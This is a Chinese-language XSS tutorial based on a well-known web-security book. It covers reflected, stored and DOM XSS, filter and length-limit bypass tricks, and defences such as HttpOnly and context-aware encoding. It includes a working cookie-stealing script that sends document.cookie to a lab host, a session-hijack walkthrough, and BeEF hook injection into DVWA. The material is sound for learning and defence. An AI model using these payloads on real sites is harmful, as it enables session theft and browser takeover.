WEB安全基础篇-跨站脚本攻击(XSS)
2022-9-8 08:31:17 Author: LemonSec(查看原文) 阅读量:32 收藏

前言

此文章总结学习于《白帽子讲WEB安全》

跨站脚本攻击(XSS)是客户端安全的头号大敌,OWASP TOP 10多次把xss列在榜首。

一、XSS简述

XSS攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

1.1 什么是XSS

假设一个用户输入的参数直接输出到页面上**(本章全程使用phpStudy进行环境部署)**

<?php
$input = $_GET["test"];
echo "<div>".$input."</div>";
?>

访问此php界面,想test参数提交数据,页面会展示提交的数据内容

http://192.168.163.131/test.php?test=ceshi

上面我们可以看到和我们猜想的一样。

如果我们提交的数据改为一段js代码

http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>

我们看到script脚本被执行,我们在看一下源代码

<div><script>alert(/test!!!/)</script></div>

script脚本被加载到页面中,这显然是有问题的。

1.2 XSS分类

XSS根据效果可以分为三类:

反射型XSS

我们上面的例子就是反射型的xss,就是把用户输入的数据“反射”给浏览器,也就是说,用户在访问恶意链接时,才能攻击成功,反射型xss也叫做非持久性xss。

存储型XSS

存储型xss会把用户输入的数据存储在服务器端,这种sxx具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss"

DOM XSS

这类XSS非按照数据是否保存在服务的来划分的,DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。

1.3 DOM XSS漏洞演示

通过修改页面的DOM节点形成的xss,称之为DOM XSS

看如下代码

<script>

function test(){
var str = document.getElementById("test").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />

点击wirte会有一个超链接,其地址为文本框的内容。

这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。

构造如下数据

' onclick=alert(/xss/) //

输入之后界面代码局变成了

<a href='' onclick=alert(/xss/) //' >testLink</a>

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后用注释符“//”注释掉单引号。点击新生连接,脚本将被执行。

实际上,这里还有另外一种利用方式,除了构造一个新事件外,还可以选择闭合掉标签,并插入一个新的HTML标签。尝试如下输入

'><img src=# onerror=alert(/xss1/) /><'

页面代码变成了

<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>

脚本被执行

2.1 初探XSS Payload

XSS攻击成功后,攻击者能过对用户当前浏览的页面进行植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些以完成各种功能的恶意脚本,被称为“XSS Payload”

XSS Payload实际上就是javascript(flash或其他富客户端的脚本),所以在任何JavaScript脚本能实现的功能,xxs payload都能做到。

2.1.1 Cookie 劫持

cookie中一般加密保存了当前用户的登录凭证。攻击者如果获取cookie就可以不通过密码登录平台

攻击者加载一个远程脚本

http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>

真正xxs payload写在这个远程脚本中,避免直接在url中写入大量的javascript代码

evil.js文件

var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);

这段是插入一个看不到的图片,同时把document.cookie对象当作参数发送到远程服务器。,实际上http://192.168.163.143/log不用存在,因为这个请求会在远程服务器上的web日志中记录

tail -f /var/log/apache2/access.log

2.1.2 cookie登录

首先管理员用户登录cms测试平台

F12在控制台输入

document.cookie

登录test用户,使用burp拦截请求包,将cookie修改为admin用户的cookie

放开拦截,我们发现test变为admin用户

所以xss攻击,可以完成cookie劫持攻击。我们一般通过在cookie中增加httponly标识可以防止cookie劫持。

2.2 强大的XSS Payload

ciooke劫持并非所有时候都有效,有的网站可能会在set-cookie时给关键cookie植入HttpOnly标识;有些网站可能会把cookie与客户端IP绑定。从而是的xss窃取cookie失去意义。

尽管如此,在xss攻击成功后,攻击者仍然有许多方式能控制用户的浏览器

1、构造GET与POST请求

2、使用XSS钓鱼,模拟一个登录窗口等。

3、识别用户浏览器

我们可以通过xss收集一些用户个人信息,实现精准的浏览器内存攻击,最终实现给电脑注入一个木马。

navigator.userAgent

OS版本信息:Windows NT 6.1; Win64; x64
浏览器版本:Chrome 101.0.4951.64

但是这个useragent信息是可以伪造的,所以通过javascript取出来的这个信息不一定正确。

4、识别用户安装的软件

知道用户的浏览器、操作系统后,进一步识别用户安装的软件。

5、CSS History Hack

其原理市利用style的visited属性,如果用户曾经访问某个连接,那么这个链接的颜色会变得与众不同。

<body>
<a href=# > 曾经访问过的 </a>
<a href="notexist">未曾访问过的</a>
</body>

6、获取用户的真实IP地址

2.3 XSS攻击平台

xss payload如此强大,为了方便,安全研究者将许多功能封装起来,成为xss攻击平台。

AttackApi是一个用于XSS攻击的JS库,你不用再写那些繁琐的涉及到各种标签各种dom各种系统各种浏览器的基础代码,直接调用AttackAPI为你封装好的那些函数即可。

2.3.1 Beefxss工具演示

工具介绍

BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能。

BeEF-XSS生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理

beef能配合xss,将hook插入到存在xss的注入处;直接诱使客户端访问含有 hook 的伪造站点,结合中间人攻击注入 hook 脚本

工具下载

beef只支持Linux平台,Ruby的版本需要在2.5以上,kali中自带beef

下载:git clone https://github.com/beefproject/beef

安装配置查看:https://github.com/beefproject/beef/wiki/Installation

beef如果用于实战的话,需要建立连接的时候要使受害机能访问到beef,因此需要一个公网ip。

使用测试

kali攻击者:192.168.163.128

DVWA靶机:192.168.163.131

1、更该beef的默认用户名密码

vi /etc/beef-xss/config.yaml

beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值,(默认是修改密码的,不然启动的时候会报警告)。

启动beef服务端

beef-xss

beef的服务端地址,用户密码为默认的beef,密码为你自己修改之后的密码

http://127.0.0.1:3000/ui/panel

登录成功后,这里会显示在线和不在线的主机,在线就是现在该主机浏览器执行了我们的js脚本代码,不在线的就是该主机曾经执行过我们的js脚本代码,但现在关掉了该界面。

插入脚本hook到靶机

我们的hook启动的时候已经给出:

[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

kali的地址为192.168.163.128,那么靶机上插入的hook js脚本为:

<script src="http://192.168.163.128:3000/hook.js"></script>

在靶机DVWA,把"DVWA security"等级改成"low",然后打开"XSS stored",把我们的脚本代码存储起来。这样就形成了一个存储型XSS,当受害者(windows 7)浏览该页面时,就被劫持了。

留言提交后,靶机的浏览器就被beef钩上了:

beef管理

在beef上钩了的受害机,beef对其可以获取很多主机、浏览器信息

1、Details是浏览器信息详情

2、logs模块-日志记录

3、commands-命令模块

主要模块

-Browsers(浏览器)
- Exploits(攻击)
- Host(主机)
- Persistence(持久)
- Network(网络)

绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见

红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行

橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)

灰色圆圈:模块未在目标浏览器上测试过

XSS-Proxy

是一个轻量级的XSS攻击平台,通过嵌套iframe的方式可以实时地远程控制被XSS攻击的浏览器

2.4 XSS Worm

一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发生xss worn攻击。比如:用户留言,个人信息等

2.5 XSS构造技巧

2.5.1 利用字符编码

在使用GB2312编码的网页上,script标签输出一个变量,提交输入的是 “;alert(/xss/)” 来实现xss攻击,使用 " 来闭合前面的符号,但是页面转义了双引号,所以实际代码如下:

let redirectUrl = "\";alert(/xss/);";

正常情况下这样是没发引起xss的,因为变量处于双引号之内,系统转义了双引号。

但在使用GB2312编码页面中, “%c1\”两个字符组合在一起会成为一个unicode字符,于是可以构造输入

let redirectUrl = "%c1\";alert(/xss)";

提交之后,通过GB2312编码转义就会变成

let redirectUrl = "繺";alert(/xss/);

刚好把“\”给覆盖掉。

"%c1" 这两个字符组成一个新的unicode字符,"%c1" 把转义符"\“ 给吃掉了,从而绕过了系统的安全检查。

2.5.2 绕过长度限制

很多时候,产生xss的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的,假设下面代码存在一个xss漏洞

<input type=test value="$var" />

服务器如果对输入变量”$var“ 做了严格的长度限制,那么攻击者可能会这样xss

$var为:"><script>alert(/xss/)</script>

希望达到的输入效果是

<input type=test value=""><script>alert(/xss/)</script> />

假设长度限制为20个字符,则这段xss会被切割为

$var 输入为:"><script>alert(/xss

连一个完整的函数都无法写完,这样就xss就可能无法成功了。

但是攻击者可以利用事件来缩短所需要的字符数

$var 输出为:" onclick=alert(1)//

加上空格符正好20个字符,实际输出为

<input type=test value="" onclick=alert(1)//" />

当用户点击文本框后,alert执行

利用事件能够缩短的字节数是有限的,最好的办法就是把xss payload写到别处,在通过简短的代码加载这段xss payload

通常的一个藏代码的地方就是 location.hash。而且跟进http协议,location.hash的内容不会在http包中发送,所以服务端web日志中不会记录location.hash里的内容。

注:hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。

$var 输出为:" onclick="eval(location.hash.substr(1))

总40个字节。输出后的html是:

<input type=test value="" onclick="eval(location.hash.substr(1))" />

因为location.hash的第一个字符是#,substr(1)是从1开始,不是从0开始,,此时构造出来的url为

http://127.0.0.1/1.html#alert(1)

location,hash本身没有长度限制,但浏览器的地址栏有长度限制,如果地址栏长度不够用,还可以使用加载远程js的方法。

2.5.3 注释符绕过长度限制

比如我们可能控制两个文本框,第二个文本框允许我们写入更多字节。我们可以通过注释符号把两个文本框之间的HTML代码全部注释掉,从而打通两个标签。

<input id=1 type="text" value="" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="" />

在第一个input框中输入

"><!--

在第二个input框中输入

--><script>alert(/xx/)</script>

最终效果

<input id=1 type="text" value=""><!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xx/)</script>" />

中间代码全部被注释

<!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="-->

最终效果如下

2.5.4 使用< base>标签

< base>标签并不常用,作用是定义界面上的一个所有相对路径 标签的hosting地址。

比如,打开一张不存在的图片

<body>
<img src="/test/1.png">
</body>

实际上这个地址是一张图片,源地址

http://127.0.0.1/test/1.png

在img标签前面添加一个base标签

<body>
<base href="http://127.0.0.1" />
<img src="/test/1.png">
</body>

base标签可以出现在页面的任何地方,并作用于位于该标签之后的所以标签。

如果攻击者在页面插入了base标签,就可以通过远程服务器伪造图片,连接或者脚本。劫持当前页面中所有使用相对路径的标签。比如:

<base href="http://www.a.com" />

<img src="/test/1.png">

<script src="x.js"></script>

<a href="auth.do">auth</a>

所以涉及xss安全方案一定要过滤掉这个非常危险的标签。

2.5.5 window.name 的妙用

对当前窗口的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而非document对象,因此很多时候,windwo对象不受同源策略的限制。攻击者利用这个对象可以实现跨域、跨界面传递数据。在某些环境下,这些特性将会变得非常有用。

假设“http://192.168.114.130/1.html”的代码为

<body>
<script>
window.name = "test"
alert(document.domain+" "+window.name)
window.location = "http://192.168.163.128/index.html"
</script>
</body>

这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后将其页面跳转到“http://192.168.163.128/index.html”。

“http://192.168.163.128/index.html”的代码为

<body>
<script>
alert(document.domain+" "+window.name)
</script>
</body>

我们访问“http://192.168.114.130/1.html”,这里显示了当前域和windows.name值

点击确定后,页面自动跳转到“http://192.168.163.128/index.html”,但是winsow.name值没变

这个过程实现了数据跨域传递:test这个值从http://192.168.114.130传递到了http://192.168.163.128。

使用windo.name可以缩短xss payload的长度。先通过window.name写好alert(”hello“)之类的语句,再在同一窗口打开XSS站点后,输入 eval(name);

2.6 反射型XSS利用技巧-回旋镖

将要利用的反射型XSS嵌入到一个存储型XSS中,这个攻击技巧称为回旋镖。

因为浏览器同源策略的原因,xss也受到同源策略的限制,发生在A域的xss很难影响到B域的用户。

回旋镖的思路:如果在B域上存在一个反射型”xss_b“,在A域上存在一个存储型”xss-a",当用户访问A域的“xss-a"时,同时嵌入B域上的"xss-b",则可以达到在A域的xss攻击B域用户的目的。

IE浏览器中,< iframe>、< img>、< link>等标签都会拦截第三方cookie的发送。而在firefox中则无这限制(第三方cookie既指保存在本地的cookie,也就是服务器设置了expire(失效日期)时间的cookie。

所以在firefox中只需要在XSS-A处嵌入一个iframe标签即可

<iframe src="http://www.b.com/?xss......"></iframe>

而在IE浏览器中,使用< form>表单,然后提交到B,B再跳转会A;

2.7 Flash XSS

前面说的都是基于HTML的xss,其实Flash中同样可能造成xss攻击。

在Flash中是可以嵌入ActionScript脚本的,常见的Flash xss可以这样写

getURL("javascript:alert(document.cookie)")

ActionScript可以发起网络连接,因此应该禁止用户能够上传或者加载自定义Flash文件。

一定要使用Flash,如果是视频文件,要求转码为”flv“文件,flv是静态文件,不会产生隐患。如果是带动态脚本的Flash,则可以通过Flash参数进行限制。

限制Flash动态脚本的最重要参数是”allowScriptAcccess“,这个参数定义了Flash能否域HTML页面通信,他有三个可选值:

always : 对于HTML的通信也就是执行JavaScript不做任何限制。

sameDomain: 只允许来自于本域的Flash于HTML通信,这是默认值。

never: 绝对禁止Flash与页面通信。

除了allowScriptAccess外,allowNetworking也是非常关键,这个参数可以控制Flash与外部网络通信,他有三个可选值:

all : 允许使用所有网络通信,默认值

internal :Flash不能与浏览器通信如nacigateToURL,但是可以调用其他的API

none : 禁止任何的网络通信

2.8 JavaScript开放框架

jQuery可能是目前最流行的javaScript框架。jQuery中有一个html()方法,这个方法如果没有参数,就是一个读取DOM节点的innerHTML,如果有参数,则会把参数写入该DOM节点的inner HTML中,这个过程可能产生” DOM Based XSS"

$('div.demo-container').html("<img src=# onerror=alert(1) />");

如上,如果用户能够控制输入,必然存在xss。

三、XSS防御

xss的防御是复杂的

流行浏览器都内置了一些对抗xss的措施,比如Firefox的CSP、Noscript扩展,IE8内置的XSS Filter等。而对于网站来说,也应该有保护用户不被xss攻击的能力。

3.1 HttpOnly

HttpOnly最早是由微软提出,并在IE6实现,逐步称为一个标准,浏览器将禁止页面的javascript访问带有HttpOnly属性的cookie。

其中IE6+、firefo、chrome很多浏览器现在都具备了。

严格地说HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持攻击。

前面我们显示过cookie劫持后。可以登录被劫持后的xss用户。如果该cookie设置了HttpOnly,这种攻击就会失败,因为JavaScript取不到cookie的值。

一个cookie的使用过程如下:

step1: 浏览器向服务器发起请求,这时候没有cookie。

step2 : 服务器返回时发送set-cookie,向客户端浏览器写入cookie。

step3: 在该cookie到前期,浏览器访问该域下的所有界面,都将发送该cookie。

HttpOnly是在set-cookie时标记的

set-cookie:<name>=<value>......[; secure] [; HttpOnly]

服务器可能会设置多个cookie(对应key-value对),而HttpOnly可以选择性的添加任何一个cookie值上。

某些时候,应用可能需要javaScript访问某几项cookie,这种cookie可以不设置HttpOnly标签,而仅把HttpOnly标记用于认证的关键cookie。

HttpOnly的使用非常灵活,如下是一个使用HttpOnly的过程

<?php

header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);

?>

<script>
alert(document.cookie);
</script>

在这段代码中,cookie1没有httponly,cookie2被标记为HttpOnly。我们查看请求包

浏览器的确接收了两个cookie

但是只有cookie1被JavaScript读取到

添加了HttpOnly不等于解决了xss问题,xss攻击还有窃取用户信息,模拟用户身份执行操作等。

3.2 输入检查

常见的web漏洞如XSS、SQL注入等,都是要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以就有了检查的必要。

输入检查的代码一定要在服务器端实现,因为如果在客户端使用JavaScript进行输入检查,很容易绕过检查。正常做法是客户端和服务端实现相同的输入检查,客户端可以阻挡大部分错误操作的正常用户,可以节约服务器的资源。

输入检查一般都是检查用户输入的数据中是否包含一些特殊字符,如<,#等,比较智能的,还会匹配xss的特则,如JavaScript,< img>等敏感字符。

这种输入检查方式可以称为“XSS Filter",互联网上很多开源的“XSS Filter"源码。

XSS Filter在用户提交数据时获取变量,并进行xss检查。但此时用户数据并没有结合渲染界面的html,因此XSS Filter对语境的理解并不完整。

如下:

<script src="$var"></script>

$vat就是用户可以控制的变量,用户只要提交一个恶意脚本所在的uel地址,就可以试试xss攻击了。

所以XSS Filter对语境的理解并不完整,很可能改变用户原来的意思。

3.3 输出检查

一般来说出来富文本的输出外,在变量输出到html页面时,可以使用编码或者转义方式来防御xss攻击。

3.3.1 安全的编码函数

编码分为很多种,针对HTML代码的编码方式为HTMLEncode。

HTMLEndo并非专用名词,他只是一种函数实现,他的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。

为了对抗xss,在HTMLEncode中要求至少转化一下字符:

& - &amp
< - &lt
> - &gt
" - &quot
' - &#x27
/ - &#x2F

在php中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。

JavaScript的编码方式可以使用JavaScriptEncode。

JavaScriptEncode需要使用 \ 对特殊字符进行转义。在对抗xss时候,还要去输出变量必须在引号内部。

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';

如果escapeJavascript()函数只转义了几个危险的字符,比如‘ 、“、<、>等,那么上面两行代码输出后可能会变成

var x = 1;alert(2);
var y = "1;alert(2)";

第一行执行额外的代码了,第二行是安全的,对于后者,攻击者即使向逃逸出引号的范围,也会遇到困难。

var y = "\";alert(1);\/\/";

所以要求使用JavaScriptEncode的变量出输出一定要去引号内。

还有一个更加严格的JavaScriptEncode函数来保证安全-除了数字、字母外的所有字符,都使用十六进制“\xHH"方式进行编码,如下

var x = 1;alert(2);

变成了

var x = 1\x3balert\x2822\x29;

除了以上函数,还有其他函数,比如:XMLEncode(其实现与HtmlEncode类似)、JSONEncode(与JavaScriptEnde类似)等。

3.3.2 只需要一种编码吗

XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。

python开放框架Django自带的模板系统“Django Templates"中,可以使用escape进行HtmlEncode。比如:

{{var|escape}}

这样写变量会被HtmlEncode编码。

在Django1.0、web2py框架中加强,默认所有变量都会被escape。符合“Secure By Default”原则。

因为语境不同,不是全部都使用auto-escape就可以,需要根据情况分情况对待。

注:经典MVC模式中,M是指业务模型,V是指用户界面,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。

3.4 正确地防御XSS

XSS本质是一种HTML注入,用户的数据被当作HTML代码的一部分,从而混淆原来的语义,产生新的语义。

如果网站时MVC架构,那么XSS就发生在View层,在应用拼接变量到HTML页面时产生。所以在提交数据处进行输入检查的方案,其实并不是在真正发生攻击的地方做防御。

我们尝试将不同场景的xss一一列出,尝试解决

下面变量$var 表示用户数据。

3.4.1 在HTML标签中输出

<div>$var</div>
<a href=#>$var</a>

所有在标签中输出的变量,如果未做任何处理,都能导致直接产生XSS。

此场景下,XSS的利用方式一般都是构造一个< script>标签,或者是任何能够产生脚本执行的方式。

<div><script>alert(/xss/)</script></div>

<a href=#><img src=# onerror=alert(1) /></a>

防御方法

对变量使用HtmlEncode。

3.4.2 在HTML属性中输出

<div id="abc" name="$var" ></div>

与在HTML标签中输出类似,可能的攻击方法

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防御方法

对变量使用HtmlEncode。

3.4.3 在script标签中输出

在script标签中输出时,首先应该确保输出的变量在引号中

<script>
var x = "$var";
</script>

攻击者需要先闭合引号才能试试xss攻击

<script>
var x = "”alert(/xss/);//";
</script>

防御方法

对变量使用JavascriptEncode。

3.4.4 在事件中输出

在事件中输出和在< script>标签中输出类似

<a href=# onclick="funcA('$var')">test</a>

可能的攻击方法

<a href=# onclick="funcA('');alert(/xss/);//')">test</a>

防御方法

对变量使用JavascriptEncode。

3.4.5 在css中输出

在CSS和style、style attribute中形成的xss方式非常多样化。

防御方法

尽可能禁止用户可控制的变量在< style>标签、HTML标签的style属性以及CSS文件中输出。如果一定有这种需求,则推荐使用OWASP ESAPI中的encodeForCSS函数,此函数除了字母、数字外的所有字符都被编码成为十六进制形式“\uHH”。

3.4.6 在地址中输出

在URL的path(路径)或者search(参数)中输出使用urlEncode即可。URLEncode会将字符转化为%HH形式,比空格就是“%20”等。

<a href="http://www.a.com/?test=$var">test</a>

可能的攻击方法

<a href="http://www.a.com/?test=" onclick=alert(1)"" >test</a>

经过URLEncode编码后

<a href="http://www.a.com/?test=%22%20onclick%3Dalert(1)%22" >test</a>

还有一种是url的http://(protocal部分)和IP地址(host部分)不能使用urlEncode转发的情况

攻击者伪造协议实施攻击

<a href="JavaScript:alert(1)">test</a>

还有vbscript、dataURL等伪协议可能导致脚本执行。

防御方法

这种情况下如果变量是整改url,则先检查变量是否以http开头,保障不会出现伪协议的xss攻击。在对变量进行URLEncode。

3.5 处理富文本

部分网站允许用户提交一些自定义的HTML代码,称为富文本。

富文本,应严格禁止< iframe>、< script>等标签,只允许< a>、< img>等比较安全的标签,在标签选择上,应该使用白名单、避免使用黑名单。

富文本在处理CSS时,尽可能的禁止用户自定义css与style。

有些开源的XSS Filter项目,可以实现对富文本的xss检查。

3.6 防御DOM Based XSS

DOM Based XSS是一种比较特殊的xss漏洞,前文中提到的几种防御方法都不太合适,需要特别对待

我们看一下之前的例子,看一下DOM Based XSS是如何形成的呢

<script>

function test(){
var str = document.getElementById("test").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />

在上面代码onclick事件中,执行了test()函数,而函数中最关键的一句是

document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";

将HTML代码写入DOM节点,最后导致xss的发生

事实上,DOM Based XSS是从JavaScript中输出数据到HTML页面里,而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此不适用DOM Based XSS。

看一下这个例子

<script>
var x = "$var";
document.write("<a href='"+x+"'>test</a>");
</script>

变量$var在script标签内,可是最后又被document.write输出到HTML界面中。

假设为了保护$var,直接在script标签内产生xss,服务器对其进行javascEscape。可是,$var在document.write时,然仍然能够产生xss

<script>
var x = "\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
document.write("<a href='"+x+"'>test</a>");
</script>

通过javascEscape编译,但通过HTML界面渲染后,恶意代码又被识别出来

其原因,第一次执行JavaScriptEscape后,只保护了

var x = "$var";

但是当document.write输出数据到html页面时,浏览器渲染了界面,在< script>标签执行时,已经对变量x进行了界面,在document.write在运行时,其参数变成了

document.write("<a href=' 'onclick=alert(1);//''>test</a>");

XSS因此产生。

那是不是对$var函数用错了编码方式,我们使用htmlEncode,将 Html 源文件中不允许出现的字符进行编码。例如:"<"、">"、"&" 等。

<script>
var x = "&#x31;&#x22;&#x29;&#x3b;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x22;&#x32;&#x22;&#x29;&#x3b;&#x2f;&#x2f;&#x22;&#x22;";
document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>");
</script>

防御方法

在$var输出到< script>标签时,应该执行一次JavaScriptEncode,其次在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则再做一次JavaScriptEncode,如果是输出到HTML内容或者属性,则要做一次HtmlEncode。也就是说从JavaScript输出到HTML页面,也等于一次xss输出的过程,需要分语境使用不同的编码。

会触发DOM Based XSS的地方很多,下面是JavaScript输出到HTML页面的必经之路

document.write()
document.writeln()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
......

除了服务器端直接输出变量到JavaScript外,还有以下几个地方可能会成为DOM Based XSS的输入点。

页面中所有inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的数据
......

四、总结

本章从主要是从认识xss、xss payload、xss构造技巧和xss防御方法详细讲述了三类(反射型、存储型、DOM型)XSS漏洞。一般来说存储型的威胁最大,因为可能会跨页面存在也反射型和DOM则需要攻击者诱使用户点击一个包含xss代码的URL连接。理论上,xss漏洞虽然复杂,但却是可以彻底解决的。需要针对不同场景使用不同的防御方法。

https://www.freebuf.com/vuls/334263.html

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看”

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247534906&idx=3&sn=4f15929b3d7aa20121519876ea6d4e50&chksm=f9e32661ce94af77ec8501dd10be9b324d742f65a9316bc645905e7c59d2e7c5c0e46ea99b4a#rd
如有侵权请联系:admin#unsafe.sh